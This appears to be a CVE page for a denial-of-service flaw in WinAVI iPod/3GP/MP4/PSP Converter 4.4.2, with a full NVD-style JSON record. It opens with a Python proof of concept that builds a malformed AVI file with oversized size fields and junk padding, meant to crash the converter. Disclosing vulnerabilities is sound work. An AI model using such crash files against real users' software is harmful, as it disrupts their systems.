CVE-2019-25645

import struct # PoC for CVE-2019-25645 # Description: Generates a malformed AVI file with an oversized buffer to trigger DoS. filename = "exploit.avi" # Basic AVI file header structure riff_header = b"RIFF" riff_size = struct.pack('<I', 0xFFFFFFFF) # Malformed size file_type = b"AVI " list_header = b"LIST" list_size = struct.pack('<I', 0xFFFFFFFF) # Malformed size list_type = b"hdrl" # Junk data to simulate oversized buffer junk_buffer = b"A" * 10000 # Construct the malformed file payload = riff_header + riff_size + file_type + list_header + list_size + list_type + junk_buffer with open(filename, "wb") as f: f.write(payload) print(f"[+] Created {filename}. Load this in WinAVI Converter to trigger the crash.")

{"cve": {"id": "CVE-2019-25645", "sourceIdentifier": "[email protected]", "published": "2026-03-24T12:16:07.030", "lastModified": "2026-03-24T15:53:48.067", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "WinAVI iPod/3GP/MP4/PSP Converter 4.4.2 contains a denial of service vulnerability that allows local attackers to crash the application by processing malformed AVI files. Attackers can create a specially crafted AVI file with an oversized buffer and load it through the Convert to iPhone function to trigger an application crash."}, {"lang": "es", "value": "WinAVI iPod/3GP/MP4/PSP Converter 4.4.2 contiene una vulnerabilidad de denegación de servicio que permite a atacantes locales provocar el fallo de la aplicación al procesar archivos AVI malformados. Los atacantes pueden crear un archivo AVI especialmente diseñado con un búfer sobredimensionado y cargarlo a través de la función Convertir a iPhone para desencadenar un fallo de la aplicación."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.2, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-226"}]}], "references": [{"url": "http://www.winavi.com", "source": "[email protected]"}, {"url": "http://www.winavi.com/user/download/WinAVI_iPod_3GP_MP4_PSP_Converter.exe", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/46554", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/winavi-ipod-3gp-mp4-psp-converter-denial-of-service", "source": "[email protected]"}]}}